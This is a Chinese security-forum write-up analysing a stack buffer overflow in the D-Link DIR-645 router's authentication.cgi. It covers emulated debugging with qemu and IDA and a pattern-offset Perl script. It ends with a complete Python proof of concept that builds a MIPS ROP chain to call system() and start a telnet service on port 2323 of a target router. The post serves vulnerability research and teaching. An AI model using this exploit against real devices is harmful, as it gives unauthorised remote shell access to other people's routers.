首页
论坛
课程
招聘
[原创]D-Link DIR-645路由器溢出分析
2021-8-25 12:16 6683

[原创]D-Link DIR-645路由器溢出分析

2021-8-25 12:16
6683

目录

漏洞介绍

该漏洞是CGI脚本在处理authentication.cgi请求,来读取POST参数中的"password"参数的值时造成的缓冲区溢出。

固件提取文件系统

固件下载:ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP

 

图片描述

qemu+IDA调试分析

1,run_cgi.sh脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/bash
 
# 待执行命令
# sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*0x600"` "uid=A21G"
 
INPUT="$1" # 参数1,uid=A21G&password=1160个A
TEST="$2"    # 参数2,uid=A21G
LEN=$(echo -n "$INPUT" | wc -c)    # 参数1的长度
PORT="1234"    # 监听的调试端口
 
# 用法错误则提示
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
    echo -e "\nUsage: sudo $0 \n"
    exit 1
fi
 
# 复制qemu-mipsel-static到本目录并重命名,注意是static版本
cp $(which qemu-mipsel-static) ./qemu
echo $TEST
# | 管道符:前者输出作为后者输入
# chroot 将某目录设置为根目录(逻辑上的)
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/authentication.cgi
echo 'run ok'
rm -f ./qemu    # 删除拷贝过来的执行文件

2,调试目标程序需要匹配正确。(有知道原因的可以跟帖回复,也方便大家览阅)

 

图片描述

 

3,IDA分析,追踪问题函数

 

图片描述

 

4,填充数据调试

 

图片描述

 

IDA调试参考:

 

图片描述

 

获得&ra在栈上的地址(这是非子叶函数的性质):

 

图片描述

 

F8执行观察,直到栈上保存&ra的数据内容发送变化(可猜测这里可能时溢出点):

 

图片描述
注意:为了防止后面可能出现二次溢出,或则其他处溢出才是真正影响被程序被控制的位置,我们继续F8执行观察。

 

程序异常结束了,发现时a1寄存器的值是栈上的,大概猜测一下是我们填充的值太大影响到了这位置上的值。

 

5,看看a1正常的内容读取:

 

图片描述

 

缩短填充内容的长度,重新调试:

 

图片描述

 

程序走到authenticationcgi_main的返回位置才退出:

 

如果需要看到更明显的步骤,可以自己找到此处再下个断点

 

图片描述

 

图片描述

 

结论:真实溢出位置就是read()函数引起的。

 

6,分析read()函数上下文传入传出数据。

 

先到read()函数跳转处分析参数的来源目的地

 

图片描述

 

分析方法:由于MIPS是流水线执行指令顺序,寻找参数先到函数跳转处先向下查找参数,然受再向上查找参数。

 

图片描述

 

最终得到read()函数原型:

 

read(fileno(stdin), var_430, atoi(getenv("CONTENT_LENGTH")))

 

7,注var_430计算大小方式:

 

根据栈中变量的顺序去计算

 

图片描述

 

至此漏洞定位分析完,起始后面还有些危险函数可能存在危险溢出点需要验证,不过方法都无非是构造数据填充加上调试观察构造的数据位置。由于后面的函数都达不到溢出,所以就不附上步骤了。

  • 根据漏洞描述,POST提交数据时,并不是任意格式的数据都能造成缓存区溢出,需要”id=XX&&password=XX“形式的格式。

验证分析:

 

图片描述

 

程序异常退出在此处,分析:

 

图片描述
在向上分析,发现数据最终来源与$s2相关的数据,双击进入,发现固定格式,读取后面数据为strlen服务:

 

图片描述

 

更改回要求的形式获得结果:

 

图片描述

 

图片描述

漏洞利用

1,调试确定偏移

 

这里分享个更方便的脚本patter.pl脚本生成构造数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/usr/bin/perl -w
use strict;
 
# Generate/Search Pattern (gspattern.pl) v0.2
# Scripted by Wasim Halani (washal)
# Visit me at https://securitythoughts.wordpress.com/
# Thanks to hdm and the Metasploit team
# Special thanks to Peter Van Eeckhoutte(corelanc0d3r) for his amazing Exploit Development tutorials
# This script is to be used for educational purposes only.
 
my $ustart = 65;
my $uend = 90;
my $lstart = 97;
my $lend = 122;
my $nstart = 0;
my $nend = 9;
my $length ;
my $string = "";
my ($upper, $lower, $num);
my $searchflag = 0;
my $searchstring;
 
sub credits(){
    print "\nGenerate/Search Pattern \n";
    print "Scripted by Wasim Halani (washal)\n";
    print "https://securitythoughts.wordpress.com/\n";
    print "Version 0.2\n\n";
}
 
sub usage(){
    credits();
    print " Usage: \n";
    print " gspattern.pl  \n";
    print "         Will generate a string of given length. \n";
    print "\n";
    print " gspattern.pl   \n";
    print "         Will generate a string of given length,\n";
    print "         and display the offsets of pattern found.\n";
}
 
sub generate(){
    credits();
    $length = $ARGV[0];
    #print "Generating string for length : " .$length . "\n";
    if(length($string) == $length){
        finish();
    }
    #looping for the uppercase
    for($upper = $ustart; $upper <= $uend;$upper++){
        $string =$string.chr($upper);
        if(length($string) == $length){
            finish();
        }
        #looping for the lowercase
        for($lower = $lstart; $lower <= $lend;$lower++){
            $string =$string.chr($lower);
            if(length($string) == $length){
                finish();
            }
            #looping for the numeral
            for($num = $nstart; $num <= $nend;$num++){
                $string = $string.$num;
                if(length($string) == $length){
                    finish();
                }
                $string = $string.chr($upper);
                if(length($string) == $length){
                    finish();
                }
                if($num != $nend){
                    $string = $string.chr($lower);
                }
                if(length($string) == $length){
                    finish();
                }
            }
        }
    }
}
 
sub search(){
    my $offset = index($string,$searchstring);
    if($offset == -1){
        print "Pattern '".$searchstring."' not found\n";
        exit(1);
    }
    else{
        print "Pattern '".$searchstring."' found at offset(s) : ";
    }
    my $count = $offset;
    print $count." ";
 
    while($length){
        $offset = index($string,$searchstring,$offset+1);
        if($offset == -1){
            print "\n";
            exit(1);
        }
        print $offset ." ";
        $count = $count + $offset;
    }
    print "\n";
    exit(1);
}
 
sub finish(){
    print "String is : \n".$string ."\n\n";
    if($searchflag){
        search();
    }
    exit(1);
}
 
if(!$ARGV[0]){
    usage();
    #print "Going into usage..";
}
elsif ($ARGV[1]){
    $searchflag = 1;
    $searchstring = $ARGV[1];
    generate();
    #print "Going into pattern search...";
}
else {
     generate();
     #print "Going into string generation...";
}

用法:

 

2,patter.pl脚本使用方法

 

有两种操作模式:
1) 只提供一个参数,即要生成的字符串的长度
( ./ gspattern.pl [length of string] )
2) 字符串的长度和要找到偏移量的模式提供
./ gspattern.pl [字符串长度] [搜索模式]

 

注(搜索模式):获得要计算偏移溢出位置的hex值,转化为ASCII码。(记住一定要根据大小端序来输入,下面步骤中已举例)

 

3,

 

生成构造数据(我直接写入文件了,它把description也一块写入了,需要进去删除下):

1
./pattern.pl 1160 > test_auth

调试确定需要的偏移位置值:

1
sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+open('test_auth','r').read(1160)"` "uid=A21G"

图片描述

 

将0x38684237 转成对应ASCII码:8hB7

 

图片描述

 

4,构造ROP参考:家用路由器漏洞挖掘实例分析

 

5,POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
import sys
import time
import string
import socket
from random import Random
import urllib, urllib2, httplib
 
class MIPSPayload:
    BADBYTES = [0x00]
    LITTLE = "little"
    BIG = "big"
    FILLER = "A"
    BYTES = 4
 
    def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES):
        self.libase = libase
        self.shellcode = ""
        self.endianess = endianess
        self.badbytes = badbytes
 
    def rand_text(self, size):
        str = ''
        chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
        length = len(chars) - 1
        random = Random()
        for i in range(size):
            str += chars[random.randint(0,length)]
        return str
 
    def Add(self, data):
        self.shellcode += data
 
    def Address(self, offset, base=None):
        if base is None:
            base = self.libase
        return self.ToString(base + offset)
 
    def AddAddress(self, offset, base=None):
        self.Add(self.Address(offset, base))
 
    def AddBuffer(self, size, byte=FILLER):
        self.Add(byte * size)
 
    def AddNops(self, size):
        if self.endianess == self.LITTLE:
            self.Add(self.rand_text(size))
        else:
            self.Add(self.rand_text(size))
 
    def ToString(self, value, size=BYTES):
        data = ""
        for i in range(0, size):
            data += chr((value >> (8*i)) & 0xFF)
        if self.endianess != self.LITTLE:
            data = data[::-1]
        return data
 
    def Build(self):
        count = 0
        for c in self.shellcode:
            for byte in self.badbytes:
                if c == chr(byte):
                    raise Exception("Bad byte found in shellcode at offset %d: 0x%.2X" % (count, byte))
            count += 1
        return self.shellcode
 
    def Print(self, bpl=BYTES):
        i = 0
        for c in self.shellcode:
            if i == 4:
                print ""
                i = 0
            sys.stdout.write("\\x%.2X" % ord(c))
            sys.stdout.flush()
            if bpl > 0:
                i += 1
        print "\n"
 
class HTTP:
    HTTP = 'http'
 
    def __init__(self, host, proto=HTTP, verbose=False):
        self.host = host
        self.proto = proto
        self.verbose = verbose
        self.encode_params = True
 
    def Encode(self, data):
        #just for DIR645
        if type(data) == dict:
            pdata = []
            for k in data.keys():
                pdata.append(k + '=' + data[k])
            data = pdata[1] + '&' + pdata[0]
        else:
            data = urllib.quote_plus(data)
        return data
 
    def Send(self, uri, headers={}, data=None, response=False,encode_params=True):
        html = ""
        if uri.startswith('/'):
            c = ''
        else:
            c = '/'
 
        url = '%s://%s' % (self.proto, self.host)
        uri = '/%s' % uri
        if data is not None:
            data = self.Encode(data)
        #print data
        if self.verbose:
            print url
        httpcli = httplib.HTTPConnection(self.host, 80, timeout=30)
        httpcli.request('POST',uri,data,headers=headers)
        response=httpcli.getresponse()
        print response.status
        print response.read()
 
if __name__ == '__main__':
    libc = 0x2aaf8000    # so动态库的加载基址
    target = {
        "1.03"  :   [
            0x531ff,    # 伪system函数地址(只不过-1了,曲线救国,避免地址出现00截断字符
            0x158c8,    # rop chain 1(将伪地址+1,得到真正的system地址,曲线救国的跳板
            0x159cc,    # rop chain 2(执行system函数,传参cmd以执行命令
            ],
        }
    v = '1.03'
    cmd = 'telnetd -p 2323'        # 待执行的cmd命令:在2323端口开启telnet服务
    ip = '192.168.0.1'        # 服务器IP地址//here
 
    # 构造payload
    payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])
 
    payload.AddNops(1011)                # filler # 7. 填充1011个字节,$s0偏移为1014,129行target数组中地址只占了3,04-3=01
    payload.AddAddress(target[v][0], base=libc)    # $s0
    payload.AddNops(4)                            # $s1
    payload.AddNops(4)                            # $s2
    payload.AddNops(4)                            # $s3
    payload.AddNops(4)                            # $s4
    payload.AddAddress(target[v][2], base=libc)    # $s5
    payload.AddNops(4)                            # unused($s6)
    payload.AddNops(4)                            # unused($s7)
    payload.AddNops(4)                            # unused($fp) #<<揭秘家用路由器0day漏洞挖掘技术>>这里是$gp,可能是作者笔误吧,实际验证应该是$fp,下面注释给出验证数据。
    payload.AddAddress(target[v][1], base=libc)    # $ra
    payload.AddNops(4)                            # fill
    payload.AddNops(4)                            # fill
    payload.AddNops(4)                            # fill
    payload.AddNops(4)                            # fill
    payload.Add(cmd)                # shellcode
 
    # 构造http数据包
    pdata = {
        'uid'       :   '3Ad4',
        'password'  :   'AbC' + payload.Build(),
        }
    header = {
        'Cookie'        : 'uid='+'3Ad4',
        'Accept-Encoding': 'gzip, deflate',
        'Content-Type'  : 'application/x-www-form-urlencoded',
        'User-Agent'    : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'
        }
    # 发起http请求
    try:
        HTTP(ip).Send('authentication.cgi', data=pdata,headers=header,encode_params=False,response=True)
        print '[+] execute ok'
    except httplib.BadStatusLine:
        print "Payload deliverd."
    except Exception,e:
        print "2Payload delivery failed: %s" % str(e)

注释:栈内数据对应寄存器

 

图片描述

qemu开启仿真环境

1,打开qemu系统

1
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic

2,利用SCP把路由系统文件传过去,之前文章有写过,不清楚的请看参考链接。

 

3,开始仿真环境前准备

 

挂载固件文件系统中的proc目录和dev目录到chroot环境,因为proc中存储着进程所需的文件,比如pid文件等等,而dev中存储着相关的设备:

1
2
3
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc/
chroot ./squashfs-root/ sh

然后进入/etc/init.d/目录下,执行./rcS(init.d文件夹下存储的是启动的时候初始化服务和环境rcS文件)启动:

 

然后根据报错提示去修复

 

图片描述

 

当然用别的仿真环境跑起来也都一样运行,这里我没启动成功,主要是分析漏洞整个流程。关于如何更好的仿真实现开启路由环境,欢迎大家交流。

 

参考
[1]https://bbs.pediy.com/thread-259274.htm

 

[2]https://bbs.pediy.com/thread-268623.htm


[注意] 欢迎加入看雪团队!base上海,招聘安全工程师、逆向工程师多个坑位等你投递!

最后于 2021-8-30 15:05 被herculiz编辑 ,原因:
上传的附件:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回